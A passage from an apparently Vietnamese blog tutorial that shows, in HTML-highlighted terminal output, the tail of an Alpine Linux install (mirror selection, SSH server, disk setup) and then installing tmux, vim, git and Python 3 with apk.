<span class="mi">8</span><span class="p">)</span><span class="w"> </span><span class="n">mirror1</span><span class="p">.</span><span class="n">hs</span><span class="o">-</span><span class="n">esslingen</span><span class="p">.</span><span class="n">de</span><span class="w"></span>
<span class="mi">9</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">leaseweb</span><span class="p">.</span><span class="n">com</span><span class="w"></span>
<span class="mi">10</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">fit</span><span class="p">.</span><span class="n">cvut</span><span class="p">.</span><span class="n">cz</span><span class="w"></span>
<span class="mi">11</span><span class="p">)</span><span class="w"> </span><span class="n">alpine</span><span class="p">.</span><span class="n">mirror</span><span class="p">.</span><span class="n">far</span><span class="p">.</span><span class="n">fi</span><span class="w"></span>
<span class="mi">12</span><span class="p">)</span><span class="w"> </span><span class="n">alpine</span><span class="p">.</span><span class="n">mirror</span><span class="p">.</span><span class="n">wearetriple</span><span class="p">.</span><span class="n">com</span><span class="w"></span>
<span class="mi">13</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">clarkson</span><span class="p">.</span><span class="n">edu</span><span class="w"></span>
<span class="mi">14</span><span class="p">)</span><span class="w"> </span><span class="n">linorg</span><span class="p">.</span><span class="n">usp</span><span class="p">.</span><span class="n">br</span><span class="w"></span>
<span class="mi">15</span><span class="p">)</span><span class="w"> </span><span class="n">ftp</span><span class="p">.</span><span class="n">yzu</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">tw</span><span class="w"></span>
<span class="mi">16</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">aarnet</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">au</span><span class="w"></span>
<span class="mi">17</span><span class="p">)</span><span class="w"> </span><span class="n">speglar</span><span class="p">.</span><span class="n">siminn</span><span class="p">.</span><span class="k">is</span><span class="w"></span>
<span class="mi">18</span><span class="p">)</span><span class="w"> </span><span class="n">mirrors</span><span class="p">.</span><span class="n">dotsrc</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="mi">19</span><span class="p">)</span><span class="w"> </span><span class="n">ftp</span><span class="p">.</span><span class="n">halifax</span><span class="p">.</span><span class="n">rwth</span><span class="o">-</span><span class="n">aachen</span><span class="p">.</span><span class="n">de</span><span class="w"></span>
<span class="mi">20</span><span class="p">)</span><span class="w"> </span><span class="n">mirrors</span><span class="p">.</span><span class="n">tuna</span><span class="p">.</span><span class="n">tsinghua</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">cn</span><span class="w"></span>
<span class="mi">21</span><span class="p">)</span><span class="w"> </span><span class="n">mirrors</span><span class="p">.</span><span class="n">ustc</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">cn</span><span class="w"></span>
<span class="mi">22</span><span class="p">)</span><span class="w"> </span><span class="n">mirrors</span><span class="p">.</span><span class="n">xjtu</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">cn</span><span class="w"></span>
<span class="mi">23</span><span class="p">)</span><span class="w"> </span><span class="n">mirrors</span><span class="p">.</span><span class="n">nju</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">cn</span><span class="w"></span>
<span class="mi">24</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">lzu</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">cn</span><span class="w"></span>
<span class="mi">25</span><span class="p">)</span><span class="w"> </span><span class="n">ftp</span><span class="p">.</span><span class="n">acc</span><span class="p">.</span><span class="n">umu</span><span class="p">.</span><span class="n">se</span><span class="w"></span>
<span class="mi">26</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">xtom</span><span class="p">.</span><span class="n">com</span><span class="p">.</span><span class="n">hk</span><span class="w"></span>
<span class="mi">27</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">csclub</span><span class="p">.</span><span class="n">uwaterloo</span><span class="p">.</span><span class="n">ca</span><span class="w"></span>
<span class="mi">28</span><span class="p">)</span><span class="w"> </span><span class="n">alpinelinux</span><span class="p">.</span><span class="n">mirror</span><span class="p">.</span><span class="n">iweb</span><span class="p">.</span><span class="n">com</span><span class="w"></span>
<span class="mi">29</span><span class="p">)</span><span class="w"> </span><span class="n">pkg</span><span class="p">.</span><span class="n">adfinis</span><span class="p">.</span><span class="n">com</span><span class="w"></span>
<span class="mi">30</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">ps</span><span class="p">.</span><span class="n">kz</span><span class="w"></span>
<span class="mi">31</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">rise</span><span class="p">.</span><span class="n">ph</span><span class="w"></span>
<span class="mi">32</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">operationtulip</span><span class="p">.</span><span class="n">com</span><span class="w"></span>
<span class="mi">33</span><span class="p">)</span><span class="w"> </span><span class="n">mirrors</span><span class="p">.</span><span class="n">ircam</span><span class="p">.</span><span class="n">fr</span><span class="w"></span>
<span class="mi">34</span><span class="p">)</span><span class="w"> </span><span class="n">alpine</span><span class="mf">.42</span><span class="p">.</span><span class="n">fr</span><span class="w"></span>
<span class="mi">35</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">math</span><span class="p">.</span><span class="n">princeton</span><span class="p">.</span><span class="n">edu</span><span class="w"></span>
<span class="mi">36</span><span class="p">)</span><span class="w"> </span><span class="n">mirrors</span><span class="p">.</span><span class="n">sjtug</span><span class="p">.</span><span class="n">sjtu</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">cn</span><span class="w"></span>
<span class="mi">37</span><span class="p">)</span><span class="w"> </span><span class="n">ftp</span><span class="p">.</span><span class="n">icm</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">pl</span><span class="w"></span>
<span class="mi">38</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">ungleich</span><span class="p">.</span><span class="n">ch</span><span class="w"></span>
<span class="mi">39</span><span class="p">)</span><span class="w"> </span><span class="n">alpine</span><span class="p">.</span><span class="n">mirror</span><span class="p">.</span><span class="n">vexxhost</span><span class="p">.</span><span class="n">ca</span><span class="w"></span>
<span class="mi">40</span><span class="p">)</span><span class="w"> </span><span class="n">sjc</span><span class="p">.</span><span class="n">edge</span><span class="p">.</span><span class="n">kernel</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="mi">41</span><span class="p">)</span><span class="w"> </span><span class="n">ewr</span><span class="p">.</span><span class="n">edge</span><span class="p">.</span><span class="n">kernel</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="mi">42</span><span class="p">)</span><span class="w"> </span><span class="n">ams</span><span class="p">.</span><span class="n">edge</span><span class="p">.</span><span class="n">kernel</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="mi">43</span><span class="p">)</span><span class="w"> </span><span class="n">download</span><span class="p">.</span><span class="n">nus</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">sg</span><span class="w"></span>
<span class="mi">44</span><span class="p">)</span><span class="w"> </span><span class="n">alpine</span><span class="p">.</span><span class="n">yourlabs</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="mi">45</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">pit</span><span class="p">.</span><span class="n">teraswitch</span><span class="p">.</span><span class="n">com</span><span class="w"></span>
<span class="mi">46</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">reenigne</span><span class="p">.</span><span class="n">net</span><span class="w"></span>
<span class="mi">47</span><span class="p">)</span><span class="w"> </span><span class="n">quantum</span><span class="o">-</span><span class="n">mirror</span><span class="p">.</span><span class="n">hu</span><span class="w"></span>
<span class="mi">48</span><span class="p">)</span><span class="w"> </span><span class="n">tux</span><span class="p">.</span><span class="n">rainside</span><span class="p">.</span><span class="n">sk</span><span class="w"></span>
<span class="mi">49</span><span class="p">)</span><span class="w"> </span><span class="n">alpine</span><span class="p">.</span><span class="n">cs</span><span class="p">.</span><span class="n">nctu</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">tw</span><span class="w"></span>
<span class="mi">50</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">ihost</span><span class="p">.</span><span class="n">md</span><span class="w"></span>
<span class="mi">51</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">ette</span><span class="p">.</span><span class="n">biz</span><span class="w"></span>
<span class="mi">52</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">lagoon</span><span class="p">.</span><span class="n">nc</span><span class="w"></span>
<span class="mi">53</span><span class="p">)</span><span class="w"> </span><span class="n">alpinelinux</span><span class="p">.</span><span class="n">c3sl</span><span class="p">.</span><span class="n">ufpr</span><span class="p">.</span><span class="n">br</span><span class="w"></span>
<span class="mi">54</span><span class="p">)</span><span class="w"> </span><span class="n">foobar</span><span class="p">.</span><span class="n">turbo</span><span class="p">.</span><span class="n">net</span><span class="p">.</span><span class="n">id</span><span class="w"></span>
<span class="mi">55</span><span class="p">)</span><span class="w"> </span><span class="n">alpine</span><span class="p">.</span><span class="n">ccns</span><span class="p">.</span><span class="n">ncku</span><span class="p">.</span><span class="n">edu</span><span class="p">.</span><span class="n">tw</span><span class="w"></span>
<span class="n">r</span><span class="p">)</span><span class="w"> </span><span class="k">Add</span><span class="w"> </span><span class="n">random</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">above</span><span class="w"> </span><span class="n">list</span><span class="w"></span>
<span class="n">f</span><span class="p">)</span><span class="w"> </span><span class="n">Detect</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="k">add</span><span class="w"> </span><span class="n">fastest</span><span class="w"> </span><span class="n">mirror</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">above</span><span class="w"> </span><span class="n">list</span><span class="w"></span>
<span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="n">Edit</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">apk</span><span class="o">/</span><span class="n">repositories</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nc">text</span><span class="w"> </span><span class="n">editor</span><span class="w"></span>
<span class="n">Enter</span><span class="w"> </span><span class="n">mirror</span><span class="w"> </span><span class="n">number</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="o">-</span><span class="mi">55</span><span class="p">)</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="n">URL</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">add</span><span class="w"> </span><span class="p">(</span><span class="ow">or</span><span class="w"> </span><span class="n">r</span><span class="o">/</span><span class="n">f</span><span class="o">/</span><span class="n">e</span><span class="o">/</span><span class="n">done</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">1</span><span class="o">]</span><span class="w"> </span><span class="n">Added</span><span class="w"> </span><span class="n">mirror</span><span class="w"> </span><span class="n">dl</span><span class="o">-</span><span class="n">cdn</span><span class="p">.</span><span class="n">alpinelinux</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="n">Updating</span><span class="w"> </span><span class="n">repository</span><span class="w"> </span><span class="n">indexes</span><span class="p">...</span><span class="w"> </span><span class="n">done</span><span class="p">.</span><span class="w"></span>
<span class="n">Which</span><span class="w"> </span><span class="n">SSH</span><span class="w"> </span><span class="n">server</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="s1">'openssh'</span><span class="p">,</span><span class="w"> </span><span class="s1">'dropbear'</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="s1">'none'</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">openssh</span><span class="o">]</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">service</span><span class="w"> </span><span class="n">sshd</span><span class="w"> </span><span class="n">added</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">runlevel</span><span class="w"> </span><span class="k">default</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">Caching</span><span class="w"> </span><span class="n">service</span><span class="w"> </span><span class="n">dependencies</span><span class="w"> </span><span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="o">[</span><span class="n"> ok </span><span class="o">]</span><span class="w"></span>
<span class="n">ssh</span><span class="o">-</span><span class="nl">keygen</span><span class="p">:</span><span class="w"> </span><span class="n">generating</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="k">host</span><span class="w"> </span><span class="nl">keys</span><span class="p">:</span><span class="w"> </span><span class="n">RSA</span><span class="w"> </span><span class="n">DSA</span><span class="w"> </span><span class="n">ECDSA</span><span class="w"> </span><span class="n">ED25519</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">Starting</span><span class="w"> </span><span class="n">sshd</span><span class="w"> </span><span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="o">[</span><span class="n"> ok </span><span class="o">]</span><span class="w"></span>
<span class="n">Available</span><span class="w"> </span><span class="n">disks</span><span class="w"> </span><span class="k">are</span><span class="err">:</span><span class="w"></span>
<span class="w"> </span><span class="n">vda</span><span class="w"> </span><span class="p">(</span><span class="mf">10.7</span><span class="w"> </span><span class="n">GB</span><span class="w"> </span><span class="mh">0x0b5d</span><span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="n">Which</span><span class="w"> </span><span class="k">disk</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="n">would</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="ow">like</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">use</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="ow">or</span><span class="w"> </span><span class="s1">'?'</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">help</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="s1">'none'</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">none</span><span class="o">]</span><span class="w"> </span><span class="n">vda</span><span class="w"></span>
<span class="n">The</span><span class="w"> </span><span class="n">following</span><span class="w"> </span><span class="k">disk</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nl">selected</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="n">vda</span><span class="w"> </span><span class="p">(</span><span class="mf">10.7</span><span class="w"> </span><span class="n">GB</span><span class="w"> </span><span class="mh">0x0b5d</span><span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="n">How</span><span class="w"> </span><span class="n">would</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="ow">like</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">use</span><span class="w"> </span><span class="n">it</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="s1">'sys'</span><span class="p">,</span><span class="w"> </span><span class="s1">'data'</span><span class="p">,</span><span class="w"> </span><span class="s1">'lvm'</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="s1">'?'</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">help</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">?</span><span class="o">]</span><span class="w"></span>
<span class="n">You</span><span class="w"> </span><span class="n">can</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="ow">between</span><span class="w"> </span><span class="s1">'sys'</span><span class="p">,</span><span class="w"> </span><span class="s1">'data'</span><span class="p">,</span><span class="w"> </span><span class="s1">'lvm'</span><span class="p">,</span><span class="w"> </span><span class="s1">'lvmsys'</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="s1">'lvmdata'</span><span class="p">.</span><span class="w"></span>
<span class="nl">sys</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="n">This</span><span class="w"> </span><span class="n">mode</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">traditional</span><span class="w"> </span><span class="k">disk</span><span class="w"> </span><span class="n">install</span><span class="p">.</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">following</span><span class="w"> </span><span class="n">partitions</span><span class="w"> </span><span class="n">will</span><span class="w"> </span><span class="n">be</span><span class="w"></span>
<span class="w"> </span><span class="n">created</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">disk</span><span class="err">:</span><span class="w"> </span><span class="o">/</span><span class="n">boot</span><span class="p">,</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="p">(</span><span class="n">filesystem</span><span class="w"> </span><span class="n">root</span><span class="p">)</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">swap</span><span class="p">.</span><span class="w"></span>
<span class="w"> </span><span class="n">This</span><span class="w"> </span><span class="n">mode</span><span class="w"> </span><span class="n">may</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">used</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">development</span><span class="w"> </span><span class="n">boxes</span><span class="p">,</span><span class="w"> </span><span class="n">desktops</span><span class="p">,</span><span class="w"> </span><span class="n">virtual</span><span class="w"> </span><span class="n">servers</span><span class="p">,</span><span class="w"> </span><span class="n">etc</span><span class="p">.</span><span class="w"></span>
<span class="k">data</span><span class="err">:</span><span class="w"></span>
<span class="w"> </span><span class="n">This</span><span class="w"> </span><span class="n">mode</span><span class="w"> </span><span class="n">uses</span><span class="w"> </span><span class="n">your</span><span class="w"> </span><span class="k">disk</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">data</span><span class="w"> </span><span class="n">storage</span><span class="p">,</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">operating</span><span class="w"> </span><span class="k">system</span><span class="p">.</span><span class="w"></span>
<span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="k">system</span><span class="w"> </span><span class="n">itself</span><span class="w"> </span><span class="n">will</span><span class="w"> </span><span class="n">run</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">tmpfs</span><span class="w"> </span><span class="p">(</span><span class="n">RAM</span><span class="p">).</span><span class="w"></span>
<span class="w"> </span><span class="k">Use</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">mode</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="k">only</span><span class="w"> </span><span class="n">want</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">use</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">disk</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">mailspool</span><span class="p">,</span><span class="w"> </span><span class="n">databases</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">logs</span><span class="p">,</span><span class="w"> </span><span class="n">etc</span><span class="p">.</span><span class="w"></span>
<span class="nl">lvm</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="n">Enable</span><span class="w"> </span><span class="n">logical</span><span class="w"> </span><span class="n">volume</span><span class="w"> </span><span class="n">manager</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">ask</span><span class="w"> </span><span class="n">again</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="s1">'sys'</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="s1">'data'</span><span class="p">.</span><span class="w"></span>
<span class="nl">lvmsys</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="n">Same</span><span class="w"> </span><span class="k">as</span><span class="w"> </span><span class="s1">'sys'</span><span class="w"> </span><span class="n">but</span><span class="w"> </span><span class="k">use</span><span class="w"> </span><span class="n">logical</span><span class="w"> </span><span class="n">volume</span><span class="w"> </span><span class="n">manager</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">partitioning</span><span class="p">.</span><span class="w"></span>
<span class="nl">lvmdata</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="n">Same</span><span class="w"> </span><span class="k">as</span><span class="w"> </span><span class="s1">'data'</span><span class="w"> </span><span class="n">but</span><span class="w"> </span><span class="k">use</span><span class="w"> </span><span class="n">logical</span><span class="w"> </span><span class="n">volume</span><span class="w"> </span><span class="n">manager</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">partitioning</span><span class="p">.</span><span class="w"></span>
<span class="n">The</span><span class="w"> </span><span class="n">following</span><span class="w"> </span><span class="k">disk</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nl">selected</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="n">vda</span><span class="w"> </span><span class="p">(</span><span class="mf">10.7</span><span class="w"> </span><span class="n">GB</span><span class="w"> </span><span class="mh">0x0b5d</span><span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="n">How</span><span class="w"> </span><span class="n">would</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="ow">like</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">use</span><span class="w"> </span><span class="n">it</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="s1">'sys'</span><span class="p">,</span><span class="w"> </span><span class="s1">'data'</span><span class="p">,</span><span class="w"> </span><span class="s1">'lvm'</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="s1">'?'</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">help</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">?</span><span class="o">]</span><span class="w"> </span><span class="n">sys</span><span class="w"></span>
<span class="nl">WARNING</span><span class="p">:</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">following</span><span class="w"> </span><span class="k">disk</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="n">will</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="nl">erased</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="n">vda</span><span class="w"> </span><span class="p">(</span><span class="mf">10.7</span><span class="w"> </span><span class="n">GB</span><span class="w"> </span><span class="mh">0x0b5d</span><span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="nl">WARNING</span><span class="p">:</span><span class="w"> </span><span class="n">Erase</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">above</span><span class="w"> </span><span class="k">disk</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="k">continue</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="n">y</span><span class="o">/</span><span class="n">n</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">n</span><span class="o">]</span><span class="w"> </span><span class="n">y</span><span class="w"></span>
<span class="n">Creating</span><span class="w"> </span><span class="k">file</span><span class="w"> </span><span class="n">systems</span><span class="p">...</span><span class="w"></span>
<span class="n">Installing</span><span class="w"> </span><span class="k">system</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="nl">vda3</span><span class="p">:</span><span class="w"></span>
<span class="o">/</span><span class="n">mnt</span><span class="o">/</span><span class="n">boot</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">device</span><span class="w"> </span><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">vda1</span><span class="w"></span>
<span class="mi">100</span><span class="o">%</span><span class="w"> </span><span class="err">████████████████████████████████████████████</span><span class="o">==></span><span class="w"> </span><span class="nl">initramfs</span><span class="p">:</span><span class="w"> </span><span class="n">creating</span><span class="w"> </span><span class="o">/</span><span class="n">boot</span><span class="o">/</span><span class="n">initramfs</span><span class="o">-</span><span class="n">virt</span><span class="w"></span>
<span class="o">/</span><span class="n">boot</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">device</span><span class="w"> </span><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">vda1</span><span class="w"></span>
<span class="n">Installation</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">complete</span><span class="p">.</span><span class="w"> </span><span class="n">Please</span><span class="w"> </span><span class="n">reboot</span><span class="p">.</span><span class="w"></span>
<span class="err">#</span><span class="w"> </span><span class="n">halt</span><span class="w"></span>
</code></pre></div>
<p>Cài xong, reboot lại, dùng lệnh apk để cài các gói cần thiết để code Python</p>
<div class="highlight"><pre><span></span><code><span class="n">localhost</span><span class="p">:</span><span class="err">~</span><span class="p">#</span><span class="w"> </span><span class="n">apk</span><span class="w"> </span><span class="n">add</span><span class="w"> </span><span class="n">tmux</span><span class="w"> </span><span class="n">vim</span><span class="w"> </span><span class="n">git</span><span class="w"> </span><span class="n">python3</span><span class="w"></span>
<span class="p">(</span><span class="mi">1</span><span class="o">/</span><span class="mi">6</span><span class="p">)</span><span class="w"> </span><span class="n">Installing</span><span class="w"> </span><span class="n">libbz2</span><span class="w"> </span><span class="p">(</span><span class="mf">1.0</span><span class="p">.</span><span class="mi">8</span><span class="o">-</span><span class="n">r1</span><span class="p">)</span><span class="w"></span>
<span class="p">(</span><span class="mi">2</span><span class="o">/</span><span class="mi">6</span><span class="p">)</span><span class="w"> </span><span class="n">Installing</span><span class="w"> </span><span class="n">libffi</span><span class="w"> </span><span class="p">(</span><span class="mf">3.3</span><span class="o">-</span><span class="n">r2</span><span class="p">)</span><span class="w"></span>
<span class="p">(</span><span class="mi">3</span><span class="o">/</span><span class="mi">6</span><span class="p">)</span><span class="w"> </span><span class="n">Installing</span><span class="w"> </span><span class="n">gdbm</span><span class="w"> </span><span class="p">(</span><span class="mf">1.19</span><span class="o">-</span><span class="n">r0</span><span class="p">)</span><span class="w"></span>
<span class="p">(</span><span class="mi">4</span><span class="o">/</span><span class="mi">6</span><span class="p">)</span><span class="w"> </span><span class="n">Installing</span><span class="w"> </span><span class="n">readline</span><span class="w"> </span><span class="p">(</span><span class="mf">8.1</span><span class="p">.</span><span class="mi">0</span><span class="o">-</span><span class="n">r0</span><span class="p">)</span><span class="w"></span>
<span class="p">(</span><span class="mi">5</span><span class="o">/</span><span class="mi">6</span><span class="p">)</span><span class="w"> </span><span class="n">Installing</span><span class="w"> </span><span class="n">sqlite</span><span class="o">-</span><span class="n">libs</span><span class="w"> </span><span class="p">(</span><span class="mf">3.34</span><span class="p">.</span><span class="mi">1</span><span class="o">-</span><span class="n">r0</span><span class="p">)</span><span class="w"></span>
<span class="p">(</span><span class="mi">6</span><span class="o">/</span><span class="mi">6</span><span class="p">)</span><span class="w"> </span><span class="n">Installing</span><span class="w"> </span><span class="n">python3</span><span class="w"> </span><span class="p">(</span><span class="mf">3.8</span><span class="p">.</span><span class="mi">7</span><span class="o">-</span><span class="n">r1</span><span class="p">)</span><span class="w"></span>
<span class="n">Executing</span><span class="w"> </span><span class="n">busybox</span><span class="o">-</span><span class="mf">1.32</span><span class="p">.</span><span class="mi">1</span><span class="o">-</span><span class="n">r3</span><span class="p">.</span><span class="n">trigger</span><span class="w"></span>
<span class="n">OK</span><span class="p">:</span><span class="w"> </span><span class="mi">179</span><span class="w"> </span><span class="n">MiB</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="mi">72</span><span class="w"> </span><span class="n">packages</span><span class="w"></span>
<span class="n">localhost</span><span class="p">:</span><span class="err">~</span><span class="p">#</span><span class="w"> </span><span class="n">python3</span><span class="w"> </span><span class="o">-</span><span class="n">m</span><span class="w"> </span><span class="n">this</span><span class="w"></span>
<span class="n">The</span><span class="w"> </span><span class="n">Zen</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">Python</span><span class="p">,</span><span class="w"> </span><span class="n">by</span><span class="w"> </span><span class="n">Tim</span><span class="w"> </span><span class="n">Peters</span><span class="w"></span>
<span class="n">Beautiful</span><span class="w"> </span><span class="ow">is</span><span class="w"> </span><span class="n">better</span><span class="w"> </span><span class="n">than</span><span class="w"> </span><span class="n">ugly</span><span class="p">.</span><span class="w"></span>
<span class="n">Explicit</span><span class="w"> </span><span class="ow">is</span><span class="w"> </span><span class="n">better</span><span class="w"> </span><span class="n">than</span><span class="w"> </span><span class="n">implicit</span><span class="p">.</span><span class="w"></span>
<span class="n">Simple</span><span class="w"> </span><span class="ow">is</span><span class="w"> </span><span class="n">better</span><span class="w"> </span><span class="n">than</span><span class="w"> </span><span class="n">complex</span><span class="p">.</span><span class="w"></span>
<span class="n">Complex</span><span class="w"> </span><span class="ow">is</span><span class="w"> </span><span class="n">better</span><span class="w"> </span><span class="n">than</span><span class="w"> </span><span class="n">complicated</span><span class="p">.</span><span class="w"></span>
<span class="n">Flat</span><span class="w"> </span><span class="ow">is</span><span class="w"> </span><span class="n">better</span><span class="w"> </span><span class="n">than</span><span class="w"> </span><span class="n">nested</span><span class="p">.</span><span class="w"></span>
<span class="n">Sparse</span><span class="w"> </span><span class="ow">is</span><span class="w"> </span><span class="n">better</span><span class="w"> </span><span class="n">than</span><span class="w"> </span><span class="n">dense</span><span class="p">.</span><span class="w"></span>
<span class="n">Readability</span><span class="w"> </span><span class="n">counts</span><span class="p">.</span><span class="w"></span>
